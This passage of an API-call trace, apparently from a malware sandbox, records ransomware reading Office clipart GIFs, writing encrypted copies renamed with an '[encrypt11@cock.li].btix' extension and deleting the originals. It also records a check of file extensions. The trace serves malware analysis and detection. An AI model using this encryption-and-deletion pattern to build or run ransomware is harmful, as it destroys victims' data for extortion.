hTemplateFile=0x0) returned 0x380 [0150.595] GetLastError () returned 0x0 [0150.595] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x148b, lpOverlapped=0x0) returned 1 [0150.595] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1490, lpOverlapped=0x0) returned 1 [0150.596] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.596] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.596] SetEndOfFile (hFile=0x380) returned 1 [0150.597] CloseHandle (hObject=0x380) returned 1 [0150.597] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.597] SetEndOfFile (hFile=0x37c) returned 1 [0150.597] CloseHandle (hObject=0x37c) returned 1 [0150.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.695] lstrlenW (lpString=".doc") returned 4 [0150.695] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.695] lstrlenW (lpString=".docx") returned 5 [0150.695] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0150.695] lstrlenW (lpString=".pdf") returned 4 [0150.695] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.695] lstrlenW (lpString=".xls") returned 4 [0150.695] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.695] lstrlenW (lpString=".xlsx") returned 5 [0150.695] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0150.695] lstrlenW (lpString=".ppt") returned 4 [0150.695] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.695] lstrlenW (lpString=".zip") returned 4 [0150.695] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.695] lstrlenW (lpString=".rar") returned 4 [0150.695] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.695] lstrlenW (lpString=".bz2") returned 4 [0150.695] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.695] lstrlenW (lpString=".7z") returned 3 [0150.695] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.695] lstrlenW (lpString=".dbf") returned 4 [0150.695] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.695] lstrlenW (lpString=".1cd") returned 4 [0150.695] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.695] lstrlenW (lpString=".jpg") returned 4 [0150.695] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.696] lstrlenW (lpString=".doc") returned 4 [0150.696] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.696] lstrlenW (lpString=".docx") returned 5 [0150.696] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0150.696] lstrlenW (lpString=".pdf") returned 4 [0150.696] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.696] lstrlenW (lpString=".xls") returned 4 [0150.696] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.696] lstrlenW (lpString=".xlsx") returned 5 [0150.696] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0150.696] lstrlenW (lpString=".ppt") returned 4 [0150.696] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.696] lstrlenW (lpString=".zip") returned 4 [0150.696] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.696] lstrlenW (lpString=".rar") returned 4 [0150.696] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.696] lstrlenW (lpString=".bz2") returned 4 [0150.696] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.696] lstrlenW (lpString=".7z") returned 3 [0150.696] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.696] lstrlenW (lpString=".dbf") returned 4 [0150.696] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.696] lstrlenW (lpString=".1cd") returned 4 [0150.696] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0150.696] lstrlenW (lpString=".jpg") returned 4 [0150.696] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.697] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.697] lstrlenW (lpString="J0099199.GIF") returned 12 [0150.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.697] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=33975) returned 1 [0150.697] CloseHandle (hObject=0x37c) returned 1 [0150.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0150.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.697] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.697] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.698] GetLastError () returned 0x0 [0150.698] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0150.703] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0150.711] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.711] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.711] SetEndOfFile (hFile=0x34c) returned 1 [0150.711] CloseHandle (hObject=0x34c) returned 1 [0150.711] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.711] SetEndOfFile (hFile=0x37c) returned 1 [0150.714] CloseHandle (hObject=0x37c) returned 1 [0150.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0150.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.715] lstrlenW (lpString=".doc") returned 4 [0150.715] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.715] lstrlenW (lpString=".docx") returned 5 [0150.715] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0150.715] lstrlenW (lpString=".pdf") returned 4 [0150.715] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.715] lstrlenW (lpString=".xls") returned 4 [0150.715] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.715] lstrlenW (lpString=".xlsx") returned 5 [0150.715] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0150.715] lstrlenW (lpString=".ppt") returned 4 [0150.715] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.715] lstrlenW (lpString=".zip") returned 4 [0150.715] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.715] lstrlenW (lpString=".rar") returned 4 [0150.715] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.715] lstrlenW (lpString=".bz2") returned 4 [0150.715] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.715] lstrlenW (lpString=".7z") returned 3 [0150.715] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.715] lstrlenW (lpString=".dbf") returned 4 [0150.715] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.716] lstrlenW (lpString=".1cd") returned 4 [0150.716] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.716] lstrlenW (lpString=".jpg") returned 4 [0150.716] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.716] lstrlenW (lpString=".doc") returned 4 [0150.716] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.716] lstrlenW (lpString=".docx") returned 5 [0150.716] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0150.716] lstrlenW (lpString=".pdf") returned 4 [0150.716] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.716] lstrlenW (lpString=".xls") returned 4 [0150.716] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.716] lstrlenW (lpString=".xlsx") returned 5 [0150.716] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0150.716] lstrlenW (lpString=".ppt") returned 4 [0150.716] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.716] lstrlenW (lpString=".zip") returned 4 [0150.716] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.716] lstrlenW (lpString=".rar") returned 4 [0150.716] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.716] lstrlenW (lpString=".bz2") returned 4 [0150.716] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.716] lstrlenW (lpString=".7z") returned 3 [0150.716] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.716] lstrlenW (lpString=".dbf") returned 4 [0150.716] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.717] lstrlenW (lpString=".1cd") returned 4 [0150.717] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0150.717] lstrlenW (lpString=".jpg") returned 4 [0150.717] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.717] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.717] lstrlenW (lpString="J0099200.GIF") returned 12 [0150.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.717] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=16543) returned 1 [0150.717] CloseHandle (hObject=0x37c) returned 1 [0150.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0150.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.717] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.717] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.718] GetLastError () returned 0x0 [0150.718] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x409f, lpOverlapped=0x0) returned 1 [0150.719] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0150.721] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.721] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.721] SetEndOfFile (hFile=0x34c) returned 1 [0150.722] CloseHandle (hObject=0x34c) returned 1 [0150.722] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.722] SetEndOfFile (hFile=0x37c) returned 1 [0150.722] CloseHandle (hObject=0x37c) returned 1 [0150.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0150.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.725] lstrlenW (lpString=".doc") returned 4 [0150.725] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.725] lstrlenW (lpString=".docx") returned 5 [0150.725] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0150.725] lstrlenW (lpString=".pdf") returned 4 [0150.725] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.725] lstrlenW (lpString=".xls") returned 4 [0150.725] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.725] lstrlenW (lpString=".xlsx") returned 5 [0150.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0150.725] lstrlenW (lpString=".ppt") returned 4 [0150.725] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.725] lstrlenW (lpString=".zip") returned 4 [0150.794] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.794] lstrlenW (lpString=".rar") returned 4 [0150.794] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.794] lstrlenW (lpString=".bz2") returned 4 [0150.794] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.794] lstrlenW (lpString=".7z") returned 3 [0150.794] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.794] lstrlenW (lpString=".dbf") returned 4 [0150.794] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.794] lstrlenW (lpString=".1cd") returned 4 [0150.794] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString=".jpg") returned 4 [0150.795] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString=".doc") returned 4 [0150.795] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.795] lstrlenW (lpString=".docx") returned 5 [0150.795] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0150.795] lstrlenW (lpString=".pdf") returned 4 [0150.795] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.795] lstrlenW (lpString=".xls") returned 4 [0150.795] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.795] lstrlenW (lpString=".xlsx") returned 5 [0150.795] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0150.795] lstrlenW (lpString=".ppt") returned 4 [0150.795] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString=".zip") returned 4 [0150.795] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.795] lstrlenW (lpString=".rar") returned 4 [0150.795] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.795] lstrlenW (lpString=".bz2") returned 4 [0150.795] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.795] lstrlenW (lpString=".7z") returned 3 [0150.795] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString=".dbf") returned 4 [0150.795] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString=".1cd") returned 4 [0150.795] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0150.795] lstrlenW (lpString=".jpg") returned 4 [0150.796] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.796] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.796] lstrlenW (lpString="J0099201.GIF") returned 12 [0150.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.796] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=51401) returned 1 [0150.796] CloseHandle (hObject=0x374) returned 1 [0150.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0150.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.796] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.797] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0150.908] GetLastError () returned 0x0 [0150.911] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0150.913] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0150.914] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, 